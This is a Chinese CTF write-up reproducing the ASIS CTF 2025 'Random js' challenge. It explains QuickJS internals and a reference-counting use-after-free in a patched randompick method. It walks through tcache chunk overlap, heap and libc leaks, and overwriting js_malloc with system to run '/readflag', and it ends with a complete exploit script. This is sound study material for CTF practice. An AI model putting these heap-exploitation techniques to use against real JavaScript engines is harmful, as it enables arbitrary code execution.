一叶梦花
2025 ASISCTF Random js复现

2025 ASISCTF Random js复现

Random js

Before the problem

https://mem2019.github.io/jekyll/update/2021/09/27/TCTF2021-Promise.html

下面引用该文中的base部分:

在 JavaScript 中,我们有多种类型的变量,例如整数、对象、数组和内置对象(例如 ArrayBuffer

相对应 v8中number string null等类型

JavaScript 引擎需要以某种方式表示这些变量。在 quickjs 中,每个变量都表示为 JSValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// quickjs.h

// Union storing the actual content of a JS variable
typedef union JSValueUnion {
int32_t int32; // for 32-bit integers
double float64; // for floating-point numbers
void *ptr; // for heap objects, strings, etc.
} JSValueUnion;

// JSValue struct
typedef struct JSValue {
JSValueUnion u; // union storing the content of this variable
int64_t tag; // tag used to interpret 'u' and indicate the type
} JSValue;

// For constant JSValue
#define JSValueConst JSValue

tag可以是以下值之一,省略了部分enum值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// quickjs.h

enum {
/* All tags with a reference count are negative */
// ... omitted for simplicity ...
JS_TAG_OBJECT = -1, // Heap object, string, array, function, etc.

/* Primitive types */
JS_TAG_INT = 0, // 32-bit integer
JS_TAG_BOOL = 1, // Boolean
JS_TAG_NULL = 2, // null
JS_TAG_UNDEFINED = 3, // undefined

// ... omitted for simplicity ...
/* Any larger tag is treated as FLOAT64 if JS_NAN_BOXING is enabled */
};

这里的符号是用来判断这个变量是否有引用计数的:所有具有引用计数的tag都是负数。换句话说,负tag表示该变量由堆管理,正tag表示它不由堆管理。 当tag= JS_TAG_OBJECT 时,使用的是 JSValueUnionptr 字段,该 ptr 指向 JSObject 结构,该结构在 quickjs.c 中定义。

quickjs 中的所有对象,包括 ArrayBuffer 等内置对象,都以这种方式表示。

JSObject 的前 32 位始终是引用计数

Debug 调试

要构建二进制的调试版本,我们可以在 Makefile 中将 BUILDTYPE?=Release 修改为 BUILDTYPE?=Debug,并据进行构建。 为了查看特定变量如何存储在内存中,我们有一个简单的方法:在函数 js_math_min_maxquickjs.c:41563 处设置断点,并调用 Math.min(v) 来触发断点,因为 js_math_min_maxMath.min 的处理程序。

然后通过检查 JSValueConst \*argv 或寄存器 r8 内存布局,我们可以检查变量 v 的内存表示。

Garbage Collection

quickjs 的garbage collection是通过reference counting来管理的,如果reference counting,变为零,object就会被释放。下面是一个例子来说明这一点:

x/wx argv->u.ptr: ref_count == 2 指向 JSValueunion 内的 ptr 字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
let o = [0x1337];

// 调用 Math.min,查看内部引用计数
Math.min(o);
//x/wx argv->u.ptr: ref_count == 2
// and we can also set breakpoint:
// `tb free if $rdi==[address shown above]`
// to see when this chunk will be freed
let v = o;

// 再次调用 Math.min,引用计数增加
Math.min(o); // ref_count == 3

// 解除对 o 的引用
o = undefined;

// 再次调用 Math.min,引用计数减小
Math.min(v); // ref_count == 2

// 解除对 v 的引用
v = undefined;
// 此时 free 的断点会触发
// 在 "Finish" 打印前

console.log("Finish");

当我们使用 Math.min 方法查看 ref_count 时,它总是比当前指向object的 JavaScript 变量数量多一个。作者猜还有一个内部参考有助于增加一个ref。尽管如此,当引用该对象的变量数量减少到零时,该对象仍将被释放,因此我们可以将实际引用计数视为 ref_count - 1

另外这里Math.min(a)调用会额外增加a的ref_count且不会减少,会破坏一些有free次数要求的uaf,比如该题()

The problem

bug

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
-QJS_OBJS=$(OBJDIR)/qjs.o $(OBJDIR)/repl.o $(QJS_LIB_OBJS)
+QJS_OBJS=$(OBJDIR)/qjs.o $(QJS_LIB_OBJS)
去掉了 repl.o,不再编译自带的交互式 REPL 逻辑

-extern const uint8_t qjsc_repl[];
-extern const uint32_t qjsc_repl_size;
+// extern const uint8_t qjsc_repl[];
+// extern const uint32_t qjsc_repl_size;
注释掉了 REPL 所需的 qjsc_repl 字节码

- js_init_module_std(ctx, "std");
- js_init_module_os(ctx, "os");
+ // js_init_module_std(ctx, "std");
+ // js_init_module_os(ctx, "os");
去掉了 std 和 os 内置模块的注册

+ setbuf(stdout,NULL);
+ setbuf(stdin,NULL);
+
+ srand((unsigned) time(NULL));
设置 stdout/stdin,随机数初始化

- js_std_eval_binary(ctx, qjsc_repl, qjsc_repl_size, 0);
+ // js_std_eval_binary(ctx, qjsc_repl, qjsc_repl_size, 0);
+ exit(1);
禁用交互模式(REPL),直接退出。

- namelist_add(&cmodule_list, "std", "std", 0);
- namelist_add(&cmodule_list, "os", "os", 0);
+ // namelist_add(&cmodule_list, "std", "std", 0);
+ // namelist_add(&cmodule_list, "os", "os", 0);
qjsc 编译出来的程序不再自动包含这些模块

- JS_SetPropertyStr(ctx, global_obj, "__loadScript",
- JS_NewCFunction(ctx, js_loadScript, "__loadScript", 1));
+ // JS_SetPropertyStr(ctx, global_obj, "__loadScript",
+ // JS_NewCFunction(ctx, js_loadScript, "__loadScript", 1));
移除了全局函数 __loadScript。
这个函数原本能让 JS 从文件加载并执行脚本

似乎这些就是导致类似import flag.txt问题的原因(

通过patch,添加了 Array.prototype.randompick这个方法

arr.randompick() 会随机返回数组中的一个元素。

用了 rand(),每次进程启动时用 srand(time(NULL)) 初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
diff --git a/quickjs.c b/quickjs.c
index b93e282..bc6602f 100644
--- a/quickjs.c
+++ b/quickjs.c
@@ -40680,6 +40680,35 @@ exception:
return JS_EXCEPTION;
}

+static JSValue js_array_randompick(JSContext *ctx, JSValueConst this_val,
+ int argc, JSValueConst *argv)
+{
+ JSValue obj, ret;
+ int64_t len, idx;
+ JSValue *arrp;
+ uint32_t count;
+
+ obj = JS_ToObject(ctx, this_val);
+ if (js_get_length64(ctx, &len, obj))
+ goto exception;
+
+ idx = rand() % len;
+
+ if (js_get_fast_array(ctx, obj, &arrp, &count) && idx < count) ret = (JSValue) arrp[idx];
+ else {
+ int present = JS_TryGetPropertyInt64(ctx, obj, idx, &ret);
+ if (present < 0)
+ goto exception;
+ if (!present)
+ ret = JS_UNDEFINED;
+ }
+ JS_FreeValue(ctx, obj);
+ return ret;
+ exception:
+ JS_FreeValue(ctx, obj);
+ return JS_EXCEPTION;
+}
+

UAF是JSvalue的uaf ,这里的引用计数有问题,没有dupvalue(在使用时引用计数没有+1)

https://tourpran.github.io/writeups/randomjs-asis25.html

从这篇wp解析里可以得知

这是quickjs.c中通过索引访问数组元素的标准方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static JSValue js_array_at(JSContext *ctx, JSValueConst this_val,
int argc, JSValueConst *argv)
{
JSValue obj, ret;
int64_t len, idx;
JSValue *arrp;
uint32_t count;

obj = JS_ToObject(ctx, this_val);
if (js_get_length64(ctx, &len, obj))
goto exception;

if (JS_ToInt64Sat(ctx, &idx, argv[0]))
goto exception;

if (idx < 0)
idx = len + idx;
if (idx < 0 || idx >= len) {
ret = JS_UNDEFINED;
} else if (js_get_fast_array(ctx, obj, &arrp, &count) && idx < count) {
ret = JS_DupValue(ctx, arrp[idx]);
} else {
int present = JS_TryGetPropertyInt64(ctx, obj, idx, &ret);
if (present < 0)
goto exception;
if (!present)
ret = JS_UNDEFINED;
}
JS_FreeValue(ctx, obj);
return ret;
exception:
JS_FreeValue(ctx, obj);
return JS_EXCEPTION;
}

img

img

最后很明显是进入tcache了

这里a是一个Jsobject的表示,b是标准JSvalue结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function f() {
var b = "aaaa";
var a = [b];
c = a.randompick();
//c.ref=3
a = [null];
//c.ref=2
a = [b];
//c.ref=3
d = a.randompick();
delete d
//c.ref=2
a = [b];
//c.ref=2 ???????
d = a.randompick();
delete d
//c.ref=1
return c
}

当第一次运行randompick的返回值

1
2
3
4
5
6
7
8
9
Value returned is $1 = {
u = {
int32 = 0xab3caa50,
float64 = 5.3770670738431464e-310,
ptr = 0x62fbab3caa50,
short_big_int = 0x62fbab3caa50
},
tag = 0xfffffffffffffff9
}

返回的JSvalue结构体,由于是var b = "aaaa"; var a = [b]; 联合体部分是指向字符串的指针,

在上面的触发exp脚本中,脚本作者选择了返回值

而如果我们不用返回值,类似如下代码,则可以通过调试方法很明显发现str的ref-1

1
2
3
4
5
6
let str = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ";
let uaf = [str];
uaf.randompick();
uaf.randompick();
uaf.randompick();
uaf.randompick();

uaf

以下内容引自https://tourpran.github.io/writeups/randomjs-asis25.html该文章,笔者只是针对js的知识点和相关exp进行复现

quickJS 中的每个object都有一个大小固定 0x50结构体头(独立出来),可以和 ArrayBuffer 的 backing store 重叠,因为我们必须以某种方式在object和某个arraybufferbacking store获取一个重叠的块。这样,我们就可以完全控制这个object及其指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
type = struct JSObject {
/* 0x0000 | 0x0018 */ union {
/* 0x0018 */ JSGCObjectHeader header;
/* 0x0008 */ struct {
/* 0x0000 | 0x0004 */ int __gc_ref_count;
/* 0x0004 | 0x0001 */ uint8_t __gc_mark;
/* 0x0005: 0x0 | 0x0001 */ uint8_t extensible : 1;
/* 0x0005: 0x1 | 0x0001 */ uint8_t free_mark : 1;
/* 0x0005: 0x2 | 0x0001 */ uint8_t is_exotic : 1;
/* 0x0005: 0x3 | 0x0001 */ uint8_t fast_array : 1;
/* 0x0005: 0x4 | 0x0001 */ uint8_t is_constructor : 1;
/* 0x0005: 0x5 | 0x0001 */ uint8_t is_uncatchable_error : 1;
/* 0x0005: 0x6 | 0x0001 */ uint8_t tmp_mark : 1;
/* 0x0005: 0x7 | 0x0001 */ uint8_t is_HTMLDDA : 1;
/* 0x0006 | 0x0002 */ uint16_t class_id;

/* total size (bytes): 8 */
};

/* total size (bytes): 24 */
};
/* 0x0018 | 0x0004 */ uint32_t weakref_count;
/* XXX 4-byte hole */
/* 0x0020 | 0x0008 */ JSShape *shape;
/* 0x0028 | 0x0008 */ JSProperty *prop;
/* 0x0030 | 0x0018 */ union {
/* 0x0008 */ void *opaque;
/* 0x0008 */ struct JSBoundFunction *bound_function;
/* 0x0008 */ struct JSCFunctionDataRecord *c_function_data_record;
/* 0x0008 */ struct JSForInIterator *for_in_iterator;
/* 0x0008 */ struct JSArrayBuffer *array_buffer;
/* 0x0008 */ struct JSTypedArray *typed_array;
/* 0x0008 */ struct JSMapState *map_state;
/* 0x0008 */ struct JSMapIteratorData *map_iterator_data;
/* 0x0008 */ struct JSArrayIteratorData *array_iterator_data;
/* 0x0008 */ struct JSRegExpStringIteratorData *regexp_string_iterator_data;
/* 0x0008 */ struct JSGeneratorData *generator_data;
/* 0x0008 */ struct JSProxyData *proxy_data;
/* 0x0008 */ struct JSPromiseData *promise_data;
/* 0x0008 */ struct JSPromiseFunctionData *promise_function_data;
/* 0x0008 */ struct JSAsyncFunctionState *async_function_data;
/* 0x0008 */ struct JSAsyncFromSyncIteratorData *async_from_sync_iterator_data;
/* 0x0008 */ struct JSAsyncGeneratorData *async_generator_data;
/* 0x0018 */ struct {
/* 0x0030 | 0x0008 */ struct JSFunctionBytecode *function_bytecode;
/* 0x0038 | 0x0008 */ JSVarRef **var_refs;
/* 0x0040 | 0x0008 */ JSObject *home_object;

/* total size (bytes): 24 */
} func;
/* 0x0018 */ struct {
/* 0x0030 | 0x0008 */ JSContext *realm;
/* 0x0038 | 0x0008 */ JSCFunctionType c_function;
/* 0x0040 | 0x0001 */ uint8_t length;
/* 0x0041 | 0x0001 */ uint8_t cproto;
/* 0x0042 | 0x0002 */ int16_t magic;
/* XXX 4-byte padding */

/* total size (bytes): 24 */
} cfunc;
/* 0x0018 */ struct {
/* 0x0030 | 0x0008 */ union {
/* 0x0004 */ uint32_t size;
/* 0x0008 */ struct JSTypedArray *typed_array;

/* total size (bytes): 8 */
} u1;
/* 0x0038 | 0x0008 */ union {
/* 0x0008 */ JSValue *values;
/* 0x0008 */ void *ptr;
/* 0x0008 */ int8_t *int8_ptr;
/* 0x0008 */ uint8_t *uint8_ptr;
/* 0x0008 */ int16_t *int16_ptr;
/* 0x0008 */ uint16_t *uint16_ptr;
/* 0x0008 */ int32_t *int32_ptr;
/* 0x0008 */ uint32_t *uint32_ptr;
/* 0x0008 */ int64_t *int64_ptr;
/* 0x0008 */ uint64_t *uint64_ptr;
/* 0x0008 */ float *float_ptr;
/* 0x0008 */ double *double_ptr;

/* total size (bytes): 8 */
} u;
/* 0x0040 | 0x0004 */ uint32_t count;
/* XXX 4-byte padding */

/* total size (bytes): 24 */
} array;
/* 0x0010 */ JSRegExp regexp;
/* 0x0010 */ JSValue object_data;

/* total size (bytes): 24 */
} u;

/* total size (bytes): 72 */
}

这是JSstring的结构体(原始类型)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>gef ptype /ox JSString
type = struct JSString {
/* 0x0000 | 0x0004 */ JSRefCountHeader header;
/* 0x0004: 0x0 | 0x0004 */ uint32_t len : 31;
/* 0x0007: 0x7 | 0x0001 */ uint8_t is_wide_char : 1;
/* 0x0008: 0x0 | 0x0004 */ uint32_t hash : 30;
/* 0x000b: 0x6 | 0x0001 */ uint8_t atom_type : 2;
/* 0x000c | 0x0004 */ uint32_t hash_next;
/* 0x0010 | 0x0000 */ union {
/* 0x0000 */ uint8_t str8[0];
/* 0x0000 */ uint16_t str16[0];

/* total size (bytes): 0 */
} u;

/* total size (bytes): 16 */
}

如果拿到这个uaf覆盖size和ref就可以做更多的东西了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
let dummy = new ArrayBuffer(0x48);
let str = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ";
let uaf = [str];

uaf.randompick();
uaf.randompick();
uaf.randompick();
uaf.randompick();

uaf[0] = dummy;
uaf.randompick();
uaf.randompick();
uaf.randompick();

let dummy2 = new ArrayBuffer(0x500);
let overlap1 = new Uint32Array(16);

具体似乎根据各自引用计数来做uaf即可

overlap1 的 backing_store(数据区)会指向 str 对象。

tcache bin 中的情况

  • 释放 str(strcut_header+data len=0x40,加上堆块): tcache bin 0x50: [str 对象]
  • 释放 dummy: tcache bin 0x50: [dummy_data], [dummy_object], [str 对象]
  • 分配 dummy2: tcache bin 0x50: [dummy_object], [str 对象]

最后:

  • overlap1 的object memory location = dummy_object
  • overlap1 的数据指针(backing_store)= 指向 str 对象的地址(大小大约 [16 * 4] 或者 [18 * 4],因为它分配的内存块大小是 0x50)

img

leak

修改size 写一个读取函数

1
2
3
4
5
6
7
8
9
10
overlap1[0] = 20;             // ref count,把引用计数设得很高,这样对象不会被释放,避免麻烦
overlap1[1] = 0x41414141; // 字符串长度
overlap1[2] = 0x497f93b1; // 元数据
const read_offset_dword = (offset) => {
let res = 0;
for (let i = 3; i >= 0; i--) {
res = (res << 8) | str.charCodeAt(offset + i);
}
return res;
};

在这里只得到了堆地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 在 rem 上制造 UAF
let rem = new Uint32Array(0x140);

uaf = [rem];

uaf.randompick();
uaf.randompick();
uaf.randompick();

let overlap = new Uint32Array(18);
overlap[0] = 69; // ref count
overlap[1] = 0x001b0d00; // class_id/flags
overlap[0x10] = 0x41414141; // length

heap_addr = heap + 0x1d4b0;
overlap[8] = heap_addr % 0x100000000;
overlap[9] = heap_addr / 0x100000000;
overlap[0xe] = (heap + 0x2f90) % 0x100000000;
overlap[0xf] = (heap + 0x2f90) / 0x100000000;

但是作者使用Uint32Array再次获得了libc地址

将数据指针改到了堆的某个位置,修改size拿到了libc

Getting RCE:

从这里开始有很多办法拿到 RCE。

作者看这篇blog时发现,最简单的办法是:

ctx->rt->mf->js_malloc 覆盖成 system

再把 ctx->rt->malloc_state 覆盖成 readflag

1
2
3
4
void *js_malloc_rt(JSRuntime *rt, size_t size)
{
return rt->mf.js_malloc(&rt->malloc_state, size);
}

Full exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function hex(val) {
return '0x' + val.toString(16);
}
function leak(obj){
return console.log(leakAddress(obj));
}

const read_dword = (offset) => {
let result = 0;
for (let i = 3; i >= 0; i--) {
result = (result << 8) | str.charCodeAt(offset + i);
}
return result;
};

// ACTUAL EXPLOIT CODE

// Creating a few filler objects for other misc allocations
let a = 1;
let dummy = new ArrayBuffer(0x48);

// Getting Leaks to leverage the UAF
let str = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ";
let uaf = [str];

uaf.randompick();
uaf.randompick();
uaf.randompick();
uaf.randompick();

uaf[0] = dummy;
uaf.randompick();
uaf.randompick();
uaf.randompick();

let dummy2 = new ArrayBuffer(0x500);
let overlap1 = new Uint32Array(16);
Math.min(overlap1);

overlap1[0] = 20; //ref count
overlap1[1] = 0x41414141; // String length
overlap1[2] = 0x497f93b1; // Metadata

uaf[0] = dummy2;
uaf.randompick();
uaf.randompick();
uaf.randompick();

let ind = 0;1
for (let i = 0; i < 0x500; i++) {
let val = read_dword(0x2700 + i*4);
let val2 = read_dword(0x2700 + i*4 + 4);
if(val%0x1000 == 0xb20 && val2>>(44) == 0x7){
console.log("[+] Found!! "+hex(i*4));
ind = i*4;
break;
}
}

up = read_dword(0x1b24);
low = read_dword(0x1b20);

heap_up = read_dword(0x314);
heap_low = read_dword(0x310);
heap = (((heap_up * 0x100000000) + heap_low) * 0x1000) - 0x18000;

let dummy4 = new ArrayBuffer(0x48);

// UAF on rem
let rem = new Uint32Array(0x140);

uaf = [rem];

uaf.randompick();
uaf.randompick();
uaf.randompick();

let overlap = new Uint32Array(18);
overlap[0] = 69; //ref count
overlap[1] = 0x001b0d00; // class_id/flags
overlap[0x10] = 0x41414141; // length

heap_addr = heap + 0x1d4b0;
overlap[8] = heap_addr % 0x100000000;
overlap[9] = heap_addr / 0x100000000;
overlap[0xe] = (heap + 0x2f90) % 0x100000000;
overlap[0xf] = (heap + 0x2f90) / 0x100000000;

libc_leak = (rem[1]*0x100000000 + rem[0]) - 0x210b20

console.log("heap: " + hex(heap));
console.log("libc: " + hex(libc_leak));
free_hook = heap + 0x2a8 - 8;

overlap[0xe] = (free_hook) % 0x100000000;
overlap[0xf] = (free_hook) / 0x100000000;

rem[0] = (libc_leak + 0x5c110)%0x100000000;
rem[1] = (libc_leak + 0x5c110)/0x100000000;

rem[8] = 0x6165722f;
rem[9] = 0x616c6664;
rem[10] = 0x00000067;

Math.min(rem);

References:

本文作者:一叶梦花
本文链接:http://example.com/2025/09/11/Random js/
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可